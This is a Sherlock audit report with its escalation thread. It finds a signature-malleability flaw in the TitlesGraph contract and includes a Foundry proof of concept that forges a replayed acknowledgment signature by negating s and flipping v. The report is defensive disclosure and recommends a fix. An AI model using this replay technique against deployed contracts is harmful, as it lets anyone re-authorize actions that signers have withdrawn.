ZdravkoHr. - `TitlesGraph` signatures are malleable

[sherlock-admin4]

ZdravkoHr.

medium

TitlesGraph signatures are malleable

Summary

The TitlesGraph contract is vulnerable to signature malleability. Because of this, any party can execute an already used signature for a second time.

Vulnerability Detail

As explained in the linked article, if (r,s) is a valid signature, so is (r, -s mod n). TitlesGraph uses SignatureCheckerLib which does not check if the signature is malleable, as explained in this line.

As a result, each signature can be replayed one more time and the isUsed check can be bypassed.

    modifier checkSignature(bytes32 edgeId, bytes calldata data, bytes calldata signature) {
        bytes32 digest = _hashTypedData(keccak256(abi.encode(ACK_TYPEHASH, edgeId, data)));
        if (
            !edges[edgeId].to.creator.target.isValidSignatureNowCalldata(digest, signature)
                || _isUsed[keccak256(signature)]
        ) {
            revert Unauthorized();
        }
        _;
        _isUsed[keccak256(signature)] = true;
    }

Here is a coded PoC in Foundry that demonstrates how an user (Alice) acknowledges an edge via signature. After that Alice changes her mind and unacknowledges the edge. Since her signature is malleable, anyone can use it to acknowledge the edge again.

NOTE: For simplicity, the following function has to be added to TitlesGraph before running the PoC.

    function hashTypedData(bytes32 structHash) public view virtual returns (bytes32 digest) {
        return _hashTypedData(structHash);
    }

The actual test to be run in TitlesCore.t.sol

    function test_signature_malleability() public {
        bytes32 ACK_TYPEHASH = keccak256("Ack(bytes32 edgeId,bytes data)");
        (address alice, uint256 alicePk) = makeAddrAndKey("alice");

        Node memory fromNode = Node({
            nodeType: NodeType.COLLECTION_ERC1155,
            entity: Target({target: address(this), chainId: block.chainid}),
            creator: Target({target: address(2), chainId: block.chainid}),
            data: ""
        });

        Node memory toNode = Node({
            nodeType: NodeType.TOKEN_ERC1155,
            entity: Target({target: address(3), chainId: block.chainid}),
            creator: Target({target: alice, chainId: block.chainid}),
            data: bytes(
                hex"000000000000000000000000000000000000000000000000000000000000002a"
            )
        });

        Edge memory edge = titlesGraph.createEdge(fromNode, toNode, "");

        bytes32 edgeId = keccak256(abi.encode(fromNode, toNode));
        bytes memory data = hex"";
        bytes32 digest = titlesGraph.hashTypedData(
            keccak256(abi.encode(ACK_TYPEHASH, edgeId, data))
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        edge = titlesGraph.acknowledgeEdge(edgeId, data, signature);
        assertTrue(edge.acknowledged);

        vm.prank(alice);
        edge = titlesGraph.unacknowledgeEdge(edgeId, data);
        assertFalse(edge.acknowledged);

        uint8 manipulatedV = v % 2 == 0 ? v - 1 : v + 1;
        uint256 manipulatedS = modNegS(uint256(s));
        signature = abi.encodePacked(r, bytes32(manipulatedS), manipulatedV);

        // Anyone can forge the already used signature and acknowledge the edge again
        edge = titlesGraph.acknowledgeEdge(edgeId, data, signature);
        assertTrue(edge.acknowledged);
    }

    function modNegS(uint256 s) public pure returns (uint256) {
        uint256 n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141;
        return n - s;
    }

Impact

Signatures are malleable, anyone can replay an already used signature.

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/d7f60952df22da00b772db5d3a8272a988546089/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40C1-L50C6

Tool used

Foundry

Recommendation

Implement a check for the s parameter to ensure the signatures are not malleable.

Duplicate of #279

[ZdravkoHr]

Escalate

This issue, together with #10, #53, #130, #279, #155, #168, #178 and #429, should not be duplicate of #273, but a separate one. The reason is #273 identifies a vulnerability where acknowledgment signatures can be used for unacknowledgment and vice versa. The issues mentioned by me, together with this one, are about signature malleability.

[sherlock-admin3]

Escalate

This issue, together with #10, #53, #130, #279, #155, #168, #178 and #429, should not be duplicate of #273, but a separate one. The reason is #273 identifies a vulnerability where acknowledgment signatures can be used for unacknowledgment and vice versa. The issues mentioned by me, together with this one, are about signature malleability.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[WangSecurity]

Agree with the escalation, planning to accept and duplicate with #279

[Evert0x]

Result: Medium Duplicate of #279

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• ZdravkoHr: accepted